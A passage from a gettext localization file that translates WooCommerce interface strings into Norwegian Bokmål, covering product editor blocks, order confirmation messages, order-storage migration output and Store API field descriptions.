msgctxt "block description"
msgid "Renders classic WooCommerce shortcodes."
msgstr "Gjengir klassiske WooCommerce-kortkoder."
#: assets/client/blocks/classic-shortcode/block.json
msgctxt "block title"
msgid "Classic Shortcode"
msgstr "Klassisk kortkode"
#: assets/client/admin/product-editor/blocks/product-fields/downloads/block.json
#: assets/client/admin/product-editor/blocks/product-fields/product-downloads-field/block.json
msgctxt "block keyword"
msgid "downloads"
msgstr "nedlastinger"
#: assets/client/admin/product-editor/blocks/product-fields/downloads/block.json
#: assets/client/admin/product-editor/blocks/product-fields/product-downloads-field/block.json
msgctxt "block description"
msgid "The product downloads."
msgstr "Produktet lastes ned."
#: assets/client/admin/product-editor/blocks/product-fields/downloads/block.json
#: assets/client/admin/product-editor/blocks/product-fields/product-downloads-field/block.json
msgctxt "block title"
msgid "Product downloads"
msgstr "Produktnedlastinger"
#: assets/client/admin/product-editor/blocks/generic/product-text-field/block.json
#: assets/client/admin/product-editor/blocks/generic/text/block.json
msgctxt "block keyword"
msgid "text"
msgstr "tekst"
#: assets/client/admin/product-editor/blocks/generic/product-text-field/block.json
#: assets/client/admin/product-editor/blocks/generic/text/block.json
msgctxt "block description"
msgid "A text field for use in the product editor."
msgstr "Et tekstfelt for bruk i produktredigeringsprogrammet."
#: assets/client/admin/product-editor/blocks/generic/product-text-field/block.json
#: assets/client/admin/product-editor/blocks/generic/text/block.json
msgctxt "block title"
msgid "Product text field"
msgstr "Tekstfelt for produkt"
#: assets/client/admin/product-editor/blocks/generic/number/block.json
#: assets/client/admin/product-editor/blocks/generic/product-number-field/block.json
msgctxt "block keyword"
msgid "number"
msgstr "nummer"
#: assets/client/admin/product-editor/blocks/generic/number/block.json
#: assets/client/admin/product-editor/blocks/generic/product-number-field/block.json
msgctxt "block description"
msgid "A reusable number field for the product editor."
msgstr "Et nummerfelt som kan gjenbrukes i produktredigeringsprogrammet."
#: assets/client/admin/product-editor/blocks/generic/number/block.json
#: assets/client/admin/product-editor/blocks/generic/product-number-field/block.json
msgctxt "block title"
msgid "Product number control"
msgstr "Kontroll av produktnummer"
#: assets/client/admin/product-editor/blocks/generic/checkbox/block.json
#: assets/client/admin/product-editor/blocks/generic/product-checkbox-field/block.json
msgctxt "block description"
msgid "A reusable checkbox for the product editor."
msgstr "En gjenbrukbar avkrysningsboks for produktredigering."
#: src/Internal/Admin/Logging/Settings.php:242
#: assets/client/admin/chunks/marketplace.js:1
#: assets/client/admin/product-editor/index.js:2
msgid "days"
msgstr "dager"
#. translators: %1$s: month %2$s: year
#: src/Internal/StockNotifications/Admin/ListTable.php:682
msgid "%1$s %2$d"
msgstr "%1$s %2$s"
#: src/Admin/Features/Blueprint/Init.php:225
#: assets/client/admin/chunks/marketplace.js:1
msgid "Themes"
msgstr "Temaer"
#: src/Internal/Admin/Logging/PageController.php:431
msgid "Search results"
msgstr "Søkeresultater"
#: src/Internal/DataStores/Orders/CustomOrdersTableController.php:687
msgid "Background sync is enabled."
msgstr "Bakgrunnssynkronisering er aktivert."
#: src/Internal/Features/ProductBlockEditor/ProductTemplates/SimpleProductTemplate.php:1095
msgid "Add and manage attributes used for product options, such as size and color."
msgstr "Legg til og administrer attributter som brukes for produktalternativer, for eksempel størrelse og farge."
#: src/Internal/Features/ProductBlockEditor/ProductTemplates/SimpleProductTemplate.php:1033
msgid "This product requires shipping or pickup"
msgstr "Dette produktet krever frakt eller henting"
#: src/Internal/Features/ProductBlockEditor/ProductTemplates/ProductVariationTemplate.php:451
msgid "This variation requires shipping or pickup"
msgstr "Denne varianten krever frakt eller henting"
#: src/Internal/Features/ProductBlockEditor/ProductTemplates/SimpleProductTemplate.php:685
msgid "Same as main product"
msgstr "Samme som hovedproduktet"
#: src/Internal/Features/ProductBlockEditor/ProductTemplates/DownloadableProductTrait.php:45
#: src/Internal/Features/ProductBlockEditor/ProductTemplates/DownloadableProductTrait.php:46
msgid "Add any files you'd like to make available for the customer to download after purchasing, such as instructions or warranty info."
msgstr "Legg til eventuelle filer du ønsker å gjøre tilgjengelig for kunden etter kjøpet, for eksempel instruksjoner eller garantiinformasjon."
#: src/Internal/Features/ProductBlockEditor/ProductTemplates/ProductVariationTemplate.php:123
msgid "Variation details"
msgstr "Detaljer om variasjonen"
#: src/Internal/Features/ProductBlockEditor/ProductTemplates/ProductVariationTemplate.php:110
#: src/Internal/Features/ProductBlockEditor/ProductTemplates/ProductVariationTemplate.php:286
#: src/Internal/Features/ProductBlockEditor/ProductTemplates/ProductVariationTemplate.php:429
msgid "<strong>You’re editing details specific to this variation.</strong> Some information, like description and images, will be inherited from the main product, <noticeLink><parentProductName/></noticeLink>."
msgstr "<strong>Du redigerer detaljer som er spesifikke for denne varianten.</strong> Noe informasjon, som beskrivelse og bilder, arves fra hovedproduktet, <noticeLink><parentProductName/></noticeLink>."
#: src/Internal/Features/ProductBlockEditor/ProductTemplates/ProductVariationTemplate.php:61
msgid "Template for the product variation form"
msgstr "Mal for skjema for produktvariasjon"
#: src/Internal/Features/ProductBlockEditor/ProductTemplates/ProductVariationTemplate.php:54
msgid "Product Variation Template"
msgstr "Mal for produktvariasjon"
#: src/Admin/Features/OnboardingTasks/Tasks/Tax.php:80
msgid "Good news! WooCommerce Tax can automate your sales tax calculations for you."
msgstr "Gode nyheter! WooCommerce Tax kan automatisere momsberegningen for deg."
#: src/Blocks/Templates/OrderConfirmationTemplate.php:42
msgid "The Order Confirmation template serves as a receipt and confirmation of a successful purchase. It includes a summary of the ordered items, shipping, billing, and totals."
msgstr "Malen for ordrebekreftelse fungerer som kvittering og bekreftelse på et vellykket kjøp. Den inneholder et sammendrag av de bestilte varene, frakt, fakturering og totalsum."
#: src/Blocks/Templates/CheckoutTemplate.php:24
msgctxt "Template name"
msgid "Page: Checkout"
msgstr "Side: Kasse"
#: src/Blocks/Templates/CartTemplate.php:24
msgctxt "Template name"
msgid "Page: Cart"
msgstr "Side: Handlekurv"
#: src/StoreApi/Schemas/V1/ItemSchema.php:25
msgid "The item type."
msgstr "Varetypen."
#: src/Blocks/AIContent/UpdateProducts.php:84
msgid "Failed to fetch dummy products."
msgstr "Kunne ikke hente plassholderprodukter."
#: src/Blocks/BlockTypes/OrderConfirmation/Status.php:276
msgid "Confirm email and view order"
msgstr "Bekreft e-post og se ordren"
#: src/Blocks/BlockTypes/OrderConfirmation/Status.php:239
msgid "Alternatively, confirm the email address linked to the order below."
msgstr "Alternativt kan du bekrefte e-postadressen som er knyttet til ordren nedenfor."
#. translators: 1: opening a link tag 2: closing a link tag
#: src/Blocks/BlockTypes/OrderConfirmation/Status.php:233
msgid "Have an account with us? %1$sLog in here%2$s to view your order."
msgstr "Har du en konto hos oss? %1$sLogg inn her%2$s for å se ordren din."
#: src/Blocks/BlockTypes/OrderConfirmation/Status.php:230
msgid "Great news! Your order has been received, and a confirmation will be sent to your email address."
msgstr "Gode nyheter! Ordren din er mottatt, og en bekreftelse vil bli sendt til e-postadressen din."
#. translators: 1: opening a link tag 2: closing a link tag
#: src/Blocks/BlockTypes/OrderConfirmation/Status.php:208
msgid "Have an account with us? %1$sLog in here to view your order details%2$s."
msgstr "Har du en konto hos oss? %1$sLogg inn her for å se ordreinformasjonen din%2$s."
#: src/Blocks/BlockTypes/OrderConfirmation/Status.php:203
msgid "If you've just placed an order, give your email a quick check for the confirmation."
msgstr "Hvis du nettopp har lagt inn en ordre, bør du sjekke e-posten din for bekreftelse."
#: src/Blocks/BlockTypes/OrderConfirmation/Status.php:192
msgid "Please check your email for the order confirmation."
msgstr "Sjekk e-posten din for ordrebekreftelsen."
#: src/Blocks/BlockTypes/OrderConfirmation/Status.php:144
#: assets/client/admin/chunks/marketplace.js:1
#: assets/client/admin/product-editor/index.js:2
msgid "Try again"
msgstr "Prøv på nytt"
#: src/Blocks/BlockTypes/OrderConfirmation/Status.php:143
msgid "Your order cannot be processed as the originating bank/merchant has declined your transaction. Please attempt your purchase again."
msgstr "Ordren din kan ikke behandles fordi den opprinnelige banken/forhandleren har avvist transaksjonen. Forsøk kjøpet ditt på nytt."
#: src/Blocks/BlockTypes/OrderConfirmation/Status.php:136
msgid "Thank you. Your order has been fulfilled."
msgstr "Takk skal du ha. Ordren din er oppfylt."
#. translators: %s: date and time of the order refund.
#: src/Blocks/BlockTypes/OrderConfirmation/Status.php:116
msgid "Your order was refunded %s."
msgstr "Ordren din ble refundert %s."
#: src/Blocks/BlockTypes/OrderConfirmation/Status.php:96
msgid "Your order has been cancelled."
msgstr "Din ordre har blitt kansellert."
#: patterns/social-follow-us-in-social-media.php:82
msgid "Placeholder image used to represent products being showcased under the social media icons. 4 out of 4."
msgstr "Plassholderbilde som brukes til å representere produkter som vises under ikonene for sosiale medier. 4 av 4."
#: patterns/social-follow-us-in-social-media.php:72
msgid "Placeholder image used to represent products being showcased under the social media icons. 3 out of 4."
msgstr "Plassholderbilde som brukes til å representere produkter som vises under ikonene for sosiale medier. 3 av 4."
#: patterns/social-follow-us-in-social-media.php:62
msgid "Placeholder image used to represent products being showcased under the social media icons. 2 out of 4."
msgstr "Plassholderbilde som brukes til å representere produkter som vises under ikonene for sosiale medier. 2 av 4."
#: patterns/social-follow-us-in-social-media.php:52
msgid "Placeholder image used to represent products being showcased under the social media icons. 1 out of 4."
msgstr "Plassholderbilde som brukes til å representere produkter som vises under ikonene for sosiale medier. 1 av 4."
#: patterns/hero-product-3-split.php:34
msgid "Placeholder image used to represent a product being showcased."
msgstr "Plassholderbilde som brukes til å representere et produkt som presenteres."
#: patterns/footer-large.php:23
msgid "Learn about new products and discounts"
msgstr "Lær om nye produkter og rabatter"
#: includes/rest-api/Controllers/Version3/class-wc-rest-product-variations-controller.php:1180
msgid "Attribute term."
msgstr "Attributtbegrep."
#: includes/rest-api/Controllers/Version3/class-wc-rest-product-variations-controller.php:1169
msgid "Limit result set to products with specified attributes."
msgstr "Begrens resultatsettet til produkter med spesifiserte attributter."
#: includes/rest-api/Controllers/Version3/class-wc-rest-product-variations-controller.php:64
msgid "Default values for generated variations."
msgstr "Standardverdier for genererte variasjoner."
#. Translators: %s Page contents.
#: includes/admin/settings/class-wc-settings-advanced.php:101
msgid "Page where shoppers go to finalize their purchase"
msgstr "Siden der kundene går inn for å fullføre kjøpet"
#. Translators: %s Page contents.
#: includes/admin/settings/class-wc-settings-advanced.php:81
msgid "Page where shoppers review their shopping cart"
msgstr "Side der kundene kan se gjennom handlekurven sin"
#: includes/admin/class-wc-admin-webhooks-table-list.php:217
msgid "Legacy"
msgstr "Legacy"
#. translators: Placeholders are URLs.
#: includes/admin/class-wc-admin-notices.php:175
msgid "⚠️ The WooCommerce Legacy REST API has been removed from WooCommerce, this will cause <a href=\"%1$s\">webhooks on this site that are configured to use the Legacy REST API</a> to stop working. <a target=\"_blank\" href=\"%2$s\">A separate WooCommerce extension is available</a> to allow these webhooks to keep using the Legacy REST API without interruption. You can also edit these webhooks to use the current REST API version to generate the payload instead. <b><a target=\"_blank\" href=\"%3$s\">Learn more about this change.</a></b>"
msgstr "⚠️ WooCommerce Legacy REST API har blitt fjernet fra WooCommerce, og dette vil føre til at <a href=\"%1$s\">webhooks på dette nettstedet som er konfigurert til å bruke Legacy REST API</a>, slutter å fungere. <a target=\"_blank\" href=\"%2$s\">En separat WooCommerce-utvidelse er tilgjengelig</a> slik at disse webhooksene kan fortsette å bruke Legacy REST API uten avbrudd. Du kan også redigere disse webhooksene slik at de bruker den nåværende REST API-versjonen til å generere nyttelasten i stedet. <b><a target=\"_blank\" href=\"%3$s\">Finn ut mer om denne endringen.</a></b>"
#: includes/admin/class-wc-admin-notices.php:171
msgid "WooCommerce webhooks that use the Legacy REST API are unsupported"
msgstr "WooCommerce webhooks som bruker Legacy REST API støttes ikke"
#: assets/client/blocks/product-gallery-large-image-next-previous/block.json
msgctxt "block description"
msgid "Display next and previous buttons."
msgstr "Vis neste- og forrige-knappene."
#: assets/client/blocks/product-gallery-large-image-next-previous/block.json
msgctxt "block title"
msgid "Next/Previous Buttons"
msgstr "Neste/Forrige Knapper"
#: assets/client/admin/product-editor/blocks/generic/product-taxonomy-field/block.json
#: assets/client/admin/product-editor/blocks/generic/taxonomy/block.json
msgctxt "block keyword"
msgid "taxonomy"
msgstr "taksonomi"
#: assets/client/admin/product-editor/blocks/generic/product-taxonomy-field/block.json
#: assets/client/admin/product-editor/blocks/generic/taxonomy/block.json
msgctxt "block description"
msgid "A block that displays a taxonomy field, allowing searching, selection, and creation of new items"
msgstr "En blokk som viser et taksonomifelt og gjør det mulig å søke, velge og opprette nye elementer"
#: assets/client/admin/product-editor/blocks/generic/product-taxonomy-field/block.json
#: assets/client/admin/product-editor/blocks/generic/taxonomy/block.json
msgctxt "block title"
msgid "Taxonomy"
msgstr "Taksonomi"
#: assets/client/admin/product-editor/blocks/product-fields/product-tag-field/block.json
#: assets/client/admin/product-editor/blocks/product-fields/tag/block.json
msgctxt "block title"
msgid "Product Tag"
msgstr "Produktstikkord"
#: includes/admin/settings/class-wc-settings-emails.php:174
#: assets/client/admin/chunks/customize-store.js:1
msgid "Logo"
msgstr "Logo"
#. translators: %s is the audio player icon.
#: packages/email-editor/src/Integrations/Core/Renderer/Blocks/class-audio.php:130
#: assets/client/admin/chunks/2672.js:2
msgid "Audio"
msgstr "Lyd"
#: src/Internal/Features/FeaturesController.php:352
msgid "New, faster way to find extensions and themes for your WooCommerce store"
msgstr "Ny, raskere måte å finne utvidelser og temaer til WooCommerce-butikken på"
#: src/Internal/DataStores/Orders/CustomOrdersTableController.php:646
msgid "High-performance order storage (recommended)"
msgstr "Høyytelses ordrelagring (anbefalt)"
#: src/Internal/DataStores/Orders/CustomOrdersTableController.php:645
msgid "WordPress posts storage (legacy)"
msgstr "Lagring av WordPress-innlegg (eldre)"
#: src/Internal/DataStores/Orders/CustomOrdersTableController.php:642
msgid "Order data storage"
msgstr "Lagring av ordredata"
#. translators: %s: Search query.
#: src/Internal/Admin/Orders/ListTable.php:251
msgid "Search results for: %s"
msgstr "Søkeresultater for: %s"
#: src/Database/Migrations/CustomOrderTable/CLIRunner.php:896
msgid "HPOS disabled."
msgstr "HPOS er deaktivert."
#: src/Database/Migrations/CustomOrderTable/CLIRunner.php:894
msgid "HPOS could not be disabled."
msgstr "HPOS kunne ikke deaktiveres."
#: src/Database/Migrations/CustomOrderTable/CLIRunner.php:890
msgid "HPOS is already disabled."
msgstr "HPOS er allerede deaktivert."
#: src/Database/Migrations/CustomOrderTable/CLIRunner.php:869
msgid "Running pre-disable checks..."
msgstr "Kjører kontroller før deaktivering..."
#: src/Database/Migrations/CustomOrderTable/CLIRunner.php:837
msgid "HPOS could not be enabled."
msgstr "HPOS kunne ikke aktiveres."
#: src/Database/Migrations/CustomOrderTable/CLIRunner.php:835
msgid "HPOS enabled."
msgstr "HPOS er aktivert."
#: src/Database/Migrations/CustomOrderTable/CLIRunner.php:831
msgid "HPOS is already enabled."
msgstr "HPOS er allerede aktivert."
#: src/Database/Migrations/CustomOrderTable/CLIRunner.php:824
msgid "HPOS pre-checks failed, please see the errors above"
msgstr "HPOS-forhåndskontroller mislyktes, se feilene ovenfor"
#. translators: %s is the command to run (wp wc cot sync).
#: src/Database/Migrations/CustomOrderTable/CLIRunner.php:812
#: src/Database/Migrations/CustomOrderTable/CLIRunner.php:878
msgid "[Failed] There are orders pending sync. Please run `%s` to sync pending orders."
msgstr "[Mislyktes] Det er ordrer som venter på synkronisering. Kjør `%s` for å synkronisere ventende ordrer."
#: src/Database/Migrations/CustomOrderTable/CLIRunner.php:803
msgid "[Failed] The orders table does not exist and this is not a new shop. Please create the table by going to WooCommerce > Settings > Advanced > Features and enabling sync."
msgstr "[Feilet] Ordretabellen finnes ikke, og dette er ikke en ny butikk. Opprett tabellen ved å gå til WooCommerce > Innstillinger > Avansert > Funksjoner og aktivere synkronisering."
#: src/Database/Migrations/CustomOrderTable/CLIRunner.php:799
msgid "[Failed] Orders table could not be created."
msgstr "[Feilet] Ordretabellen kunne ikke opprettes."
#: src/Database/Migrations/CustomOrderTable/CLIRunner.php:796
msgid "Orders table created."
msgstr "Ordretabellen er opprettet."
#: src/Database/Migrations/CustomOrderTable/CLIRunner.php:792
msgid "Orders table does not exist. Creating..."
msgstr "Ordretabellen finnes ikke. Oppretter ..."
#: src/Database/Migrations/CustomOrderTable/CLIRunner.php:781
msgid "[Failed] Some installed plugins are incompatible. Please review the plugins by going to WooCommerce > Settings > Advanced > Features and see the \"Order data storage\" section."
msgstr "[Mislyktes] Noen installerte utvidelser er inkompatible. Se gjennom utvidelsene ved å gå til «WooCommerce > Innstillinger > Avansert > Funksjoner» og se avsnittet «Lagring av ordredata»."
#: src/Database/Migrations/CustomOrderTable/CLIRunner.php:769
msgid "[Failed] This is not a new shop, but --for-new-shop flag was passed."
msgstr "[Mislyktes] Dette er ikke en ny butikk, men flagget --for-new-shop ble godkjent."
#: src/Database/Migrations/CustomOrderTable/CLIRunner.php:765
msgid "Running pre-enable checks..."
msgstr "Kjører kontroller før aktivering..."
#: src/Database/Migrations/CustomOrderTable/CLIRunner.php:353
msgid "Orders table does not exist."
msgstr "Ordretabellen finnes ikke."
#: src/Database/Migrations/CustomOrderTable/CLIRunner.php:188
msgid "Custom order tables could not be created."
msgstr "Egendefinerte ordretabeller kunne ikke opprettes."
#: src/Database/Migrations/CustomOrderTable/CLIRunner.php:186
msgid "Custom order tables were created successfully."
msgstr "Egendefinerte ordretabeller ble opprettet."
#: src/Database/Migrations/CustomOrderTable/CLIRunner.php:183
msgid "Custom order tables does not exist, creating..."
msgstr "Egendefinerte ordretabeller finnes ikke, opprette..."
#. translators: %1$s: Learn more link opening tag. %2$s: Learn more link
#. closing tag.
#: src/Internal/Features/ProductBlockEditor/ProductTemplates/ProductVariationTemplate.php:367
#: src/Internal/Features/ProductBlockEditor/ProductTemplates/SimpleProductTemplate.php:811
msgid "Per your %1$sstore settings%2$s, inventory management is <strong>disabled</strong>."
msgstr "I henhold til %1$sbutikkinnstillingene%2$s er lagerstyring <strong>deaktivert</strong>."
#: src/Internal/Features/ProductBlockEditor/ProductTemplates/SimpleProductTemplate.php:555
msgid "Shown to customers on the product page."
msgstr "Vises for kundene på produktsiden."
#: src/Internal/Features/ProductBlockEditor/ProductTemplates/SimpleProductTemplate.php:554
msgid "Create new category"
msgstr "Opprett ny kategori"
#: src/Internal/Features/ProductBlockEditor/ProductTemplates/SimpleProductTemplate.php:64
msgid "Template for the simple product form"
msgstr "Mal for det enkle produktskjemaet"
#: src/Internal/Features/ProductBlockEditor/ProductTemplates/SimpleProductTemplate.php:57
msgid "Simple Product Template"
msgstr "Enkel produktmal"
#: src/Admin/Features/OnboardingTasks/Tasks/TourInAppMarketplace.php:26
msgid "Discover ways of extending your store with a tour of the Woo Marketplace"
msgstr "Oppdag hvordan du kan utvide butikken din med en omvisning i Woo Marketplace"
#: src/Admin/Features/OnboardingTasks/Tasks/CustomizeStore.php:148
msgid "The theme you are currently using is not compatible."
msgstr "Temaet du bruker for øyeblikket, er ikke kompatibelt."
#: src/Admin/Features/OnboardingTasks/Tasks/Appearance.php:49
msgid "Choose a theme that best fits your brand's look and feel, then make it your own. Change the colors, add your logo, and create pages."
msgstr "Velg det temaet som passer best til merkevarens utseende og uttrykk, og gjør det deretter til ditt eget. Endre fargene, legg til logoen din og opprett sider."
#: src/Admin/Features/OnboardingTasks/Tasks/Appearance.php:40
msgid "Choose your theme"
msgstr "Velg tema"
#: patterns/testimonials-single.php:24
msgid "Placeholder image with the avatar of the user who is writing the testimonial."
msgstr "Plassholderbilde med avataren til brukeren som skriver attesten."
#: patterns/footer-large.php:19
msgid "Join the community"
msgstr "Bli med i fellesskapet"
#: includes/wc-core-functions.php:655
msgid "Venezuelan bolívar (2008–2018)"
msgstr "Venezuelansk bolívar (2008-2018)"
#: includes/rest-api/Controllers/Version3/class-wc-rest-product-variations-controller.php:1162
msgid "Limit result set to products with or without price."
msgstr "Begrens resultatsettet til produkter med eller uten pris."
#: includes/gateways/bacs/class-wc-gateway-bacs.php:159
msgid "These account details will be displayed within the order thank you page and confirmation email."
msgstr "Disse kontodetaljene vises på takkesiden for ordren og i e-postbekreftelsen."
#: includes/admin/meta-boxes/views/html-product-attribute-inner.php:51
msgid "Select values"
msgstr "Velg verdier"
#. translators: %s: WC_DELIMITER
#: includes/admin/class-wc-admin-assets.php:652
msgid "Enter some descriptive text. Use “%s” to separate different values."
msgstr "Fyll inn en beskrivende tekst. Bruk «%s» for å skille mellom ulike verdier."
#: assets/client/blocks/product-gallery-thumbnails/block.json
msgctxt "block description"
msgid "Display the Thumbnails of a product."
msgstr "Vis miniatyrbilder av et produkt."
#: assets/client/blocks/product-gallery-thumbnails/block.json
msgctxt "block title"
msgid "Thumbnails"
msgstr "Miniatyrbilder"
#: assets/client/blocks/product-gallery-large-image/block.json
msgctxt "block description"
msgid "Display the Large Image of a product."
msgstr "Vis det store bildet av et produkt."
#: assets/client/blocks/product-gallery-large-image/block.json
msgctxt "block title"
msgid "Large Image"
msgstr "Stort bilde"
#: assets/client/blocks/product-collection/block.json
msgctxt "block keyword"
msgid "Products (Beta)"
msgstr "Produkter (beta)"
#: assets/client/blocks/mini-cart/block.json
msgctxt "block description"
msgid "Display a button for shoppers to quickly view their cart."
msgstr "Vis en knapp slik at kundene raskt kan se handlekurven sin."
#: assets/client/blocks/mini-cart/block.json
msgctxt "block title"
msgid "Mini-Cart"
msgstr "Mini handlekurv"
#: assets/client/blocks/inner-blocks/cart-express-payment-block/block.json
#: assets/client/blocks/inner-blocks/checkout-express-payment-block/block.json
msgctxt "block description"
msgid "Allow customers to breeze through with quick payment options."
msgstr "La kundene komme raskt gjennom med raske betalingsalternativer."
#: assets/client/blocks/product-rating-counter/block.json
msgctxt "block description"
msgid "Display the review count of a product"
msgstr "Vis antall omtaler for et produkt"
#: assets/client/blocks/product-rating-counter/block.json
msgctxt "block title"
msgid "Product Rating Counter"
msgstr "Teller for produktvurdering"
#: assets/client/blocks/product-average-rating/block.json
msgctxt "block description"
msgid "Display the average rating of a product"
msgstr "Vis gjennomsnittsvurderingen av et produkt"
#: assets/client/blocks/product-average-rating/block.json
msgctxt "block title"
msgid "Product Average Rating (Beta)"
msgstr "Gjennomsnittlig produktvurdering (Beta)"
#: assets/client/admin/product-editor/blocks/product-fields/product-variations-options-field/block.json
#: assets/client/admin/product-editor/blocks/product-fields/variation-options/block.json
msgctxt "block description"
msgid "The product variations options."
msgstr "Alternativene for produktvarianter."
#: assets/client/admin/product-editor/blocks/product-fields/product-variations-options-field/block.json
#: assets/client/admin/product-editor/blocks/product-fields/variation-options/block.json
msgctxt "block title"
msgid "Product variations options"
msgstr "Alternativer for produktvarianter"
#: assets/client/admin/product-editor/blocks/product-fields/product-variation-items-field/block.json
#: assets/client/admin/product-editor/blocks/product-fields/variation-items/block.json
msgctxt "block description"
msgid "The product variations items."
msgstr "Varianter av produktet."
#: assets/client/admin/product-editor/blocks/product-fields/product-variation-items-field/block.json
#: assets/client/admin/product-editor/blocks/product-fields/variation-items/block.json
msgctxt "block title"
msgid "Product variations items"
msgstr "Varianter av produkter"
#: assets/client/admin/product-editor/blocks/product-fields/password/block.json
#: assets/client/admin/product-editor/blocks/product-fields/product-password-field/block.json
msgctxt "block keyword"
msgid "password"
msgstr "passord"
#: assets/client/admin/product-editor/blocks/product-fields/password/block.json
#: assets/client/admin/product-editor/blocks/product-fields/product-password-field/block.json
msgctxt "block title"
msgid "Product password"
msgstr "Passord for produktet"
#: assets/client/admin/product-editor/blocks/product-fields/password/block.json
#: assets/client/admin/product-editor/blocks/product-fields/product-password-field/block.json
msgctxt "block description"
msgid "A checkbox and an input to type a password to view a product."
msgstr "En avkrysningsboks og et felt for å skrive inn et passord for å se et produkt."
#: assets/client/admin/product-editor/blocks/generic/notice/block.json
#: assets/client/admin/product-editor/blocks/generic/product-notice-field/block.json
#: assets/client/admin/product-editor/blocks/product-fields/notice-edit-single-variation/block.json
#: assets/client/admin/product-editor/blocks/product-fields/notice-has-variations/block.json
#: assets/client/admin/product-editor/blocks/product-fields/product-has-variations-notice/block.json
#: assets/client/admin/product-editor/blocks/product-fields/product-single-variation-notice/block.json
msgctxt "block keyword"
msgid "notice"
msgstr "melding"
#: assets/client/admin/product-editor/blocks/product-fields/notice-edit-single-variation/block.json
#: assets/client/admin/product-editor/blocks/product-fields/notice-has-variations/block.json
#: assets/client/admin/product-editor/blocks/product-fields/product-has-variations-notice/block.json
#: assets/client/admin/product-editor/blocks/product-fields/product-single-variation-notice/block.json
msgctxt "block description"
msgid "Notice description"
msgstr "Beskrivelse av meldingen"
#: assets/client/admin/product-editor/blocks/product-fields/notice-edit-single-variation/block.json
#: assets/client/admin/product-editor/blocks/product-fields/notice-has-variations/block.json
#: assets/client/admin/product-editor/blocks/product-fields/product-has-variations-notice/block.json
#: assets/client/admin/product-editor/blocks/product-fields/product-single-variation-notice/block.json
msgctxt "block title"
msgid "Notice"
msgstr "Melding"
#: assets/client/admin/product-editor/blocks/product-fields/catalog-visibility/block.json
#: assets/client/admin/product-editor/blocks/product-fields/product-catalog-visibility-field/block.json
msgctxt "block keyword"
msgid "catalog"
msgstr "katalog"
#: assets/client/admin/product-editor/blocks/product-fields/catalog-visibility/block.json
#: assets/client/admin/product-editor/blocks/product-fields/product-catalog-visibility-field/block.json
msgctxt "block title"
msgid "Product catalog visibility"
msgstr "Synlighet i produktkatalogen"
#: assets/client/admin/product-editor/blocks/product-fields/catalog-visibility/block.json
#: assets/client/admin/product-editor/blocks/product-fields/product-catalog-visibility-field/block.json
msgctxt "block description"
msgid "A checkbox to manage the catalog visibility of the product."
msgstr "En avkrysningsboks for å administrere produktets synlighet i katalogen."
#: src/Internal/Features/ProductBlockEditor/ProductTemplates/SimpleProductTemplate.php:163
#: src/Internal/Features/ProductBlockEditor/ProductTemplates/SimpleProductTemplate.php:720
#: src/Internal/Features/ProductBlockEditor/ProductTemplates/SimpleProductTemplate.php:1008
msgid "Go to Variations"
msgstr "Gå til Variasjoner"
#: src/Internal/Features/ProductBlockEditor/ProductTemplates/SimpleProductTemplate.php:609
#: assets/client/admin/product-editor/index.js:2
msgid "Require a password"
msgstr "Krev et passord"
#: src/Internal/Features/ProductBlockEditor/ProductTemplates/SimpleProductTemplate.php:587
#: assets/client/admin/product-editor/index.js:2
msgid "Hide from search results"
msgstr "Skjul fra søkeresultatene"
#: src/Internal/Features/ProductBlockEditor/ProductTemplates/ProductVariationTemplate.php:236
#: src/Internal/Features/ProductBlockEditor/ProductTemplates/SimpleProductTemplate.php:576
#: assets/client/admin/product-editor/index.js:2
msgid "Hide in product catalog"
msgstr "Skjul i produktkatalogen"
#: src/Internal/Features/ProductBlockEditor/ProductTemplates/SimpleProductTemplate.php:540
msgid "Product catalog"
msgstr "Produktkatalog"
#: src/Internal/Features/ProductBlockEditor/ProductTemplates/SimpleProductTemplate.php:106
msgid "Organization"
msgstr "Organisasjon"
#: src/Admin/Features/OnboardingTasks/Tasks/CustomizeStore.php:78
msgid "Customize your store "
msgstr "Tilpass butikken din "
#: src/StoreApi/Utilities/OrderController.php:698
msgid "Invalid order ID or key provided."
msgstr "Ugyldig ordre-id eller nøkkel oppgitt."
#: src/StoreApi/Utilities/OrderAuthorizationTrait.php:59
msgid "Invalid billing email provided."
msgstr "Ugyldig e-postadresse for fakturering oppgitt."
#: src/StoreApi/Utilities/OrderAuthorizationTrait.php:31
msgid "This order belongs to a different customer."
msgstr "Denne ordren tilhører en annen kunde."
#: src/StoreApi/Schemas/V1/OrderSchema.php:294
msgid "Status of the order."
msgstr "Status for ordren."
#: src/StoreApi/Schemas/V1/OrderSchema.php:186
msgid "Total tax on items in the order."
msgstr "Total avgift for produktene på ordren."
#: src/StoreApi/Schemas/V1/OrderSchema.php:180
msgid "Total price of items in the order."
msgstr "Totalpris for produktene på ordren."
#: src/StoreApi/Schemas/V1/OrderSchema.php:168
msgid "Total refund applied to the order."
msgstr "Total refusjon brukt på ordren."
#: src/StoreApi/Schemas/V1/OrderSchema.php:162
msgid "Total tax applied to the order."
msgstr "Total avgift lagt til på ordren."
#: src/StoreApi/Schemas/V1/OrderSchema.php:138
msgid "Subtotal of the order."
msgstr "Delsum for ordren."
#: src/StoreApi/Schemas/V1/OrderSchema.php:130
msgid "Order totals."
msgstr "Ordresummer."
#: src/StoreApi/Schemas/V1/OrderFeeSchema.php:30
msgid "Unique identifier for the fee within the cart"
msgstr "Unik identifikator for avgiften i handlekurven"
#: src/StoreApi/Schemas/V1/ItemSchema.php:68
msgid "If the quantity is editable or fixed."
msgstr "Om antallet kan redigeres eller er fast."
#: src/StoreApi/Schemas/V1/ItemSchema.php:55
msgid "The maximum quantity allowed for this line item."
msgstr "Maksimalt tillatt antall for denne varelinjen."
#: src/StoreApi/Schemas/V1/ItemSchema.php:49
msgid "The minimum quantity allowed for this line item."
msgstr "Minste tillatte antall for denne varelinjen."
#: src/StoreApi/Schemas/V1/ItemSchema.php:37
msgid "Quantity of this item."
msgstr "Antall av denne varen."
#: src/StoreApi/Schemas/V1/ItemSchema.php:31
msgid "The item product or variation ID."
msgstr "Id for produkt eller variant."
#: src/StoreApi/Schemas/V1/ItemSchema.php:19
msgid "Unique identifier for the item."
msgstr "Unik identifikator for varen."
#: src/StoreApi/Routes/V1/CheckoutOrder.php:115
msgid "This order cannot be paid for."
msgstr "Denne ordren kan ikke betales."
#. translators: %s: product number.
#: src/Blocks/BlockTypes/ProductButton.php:195
#: src/Blocks/BlockTypes/ProductButton.php:372
msgid "%s in cart"
msgstr "%s i handlekurven"
#: src/Blocks/Templates/MiniCartTemplate.php:60
msgid "The Mini-Cart template allows shoppers to see their cart items and provides access to the Cart and Checkout pages."
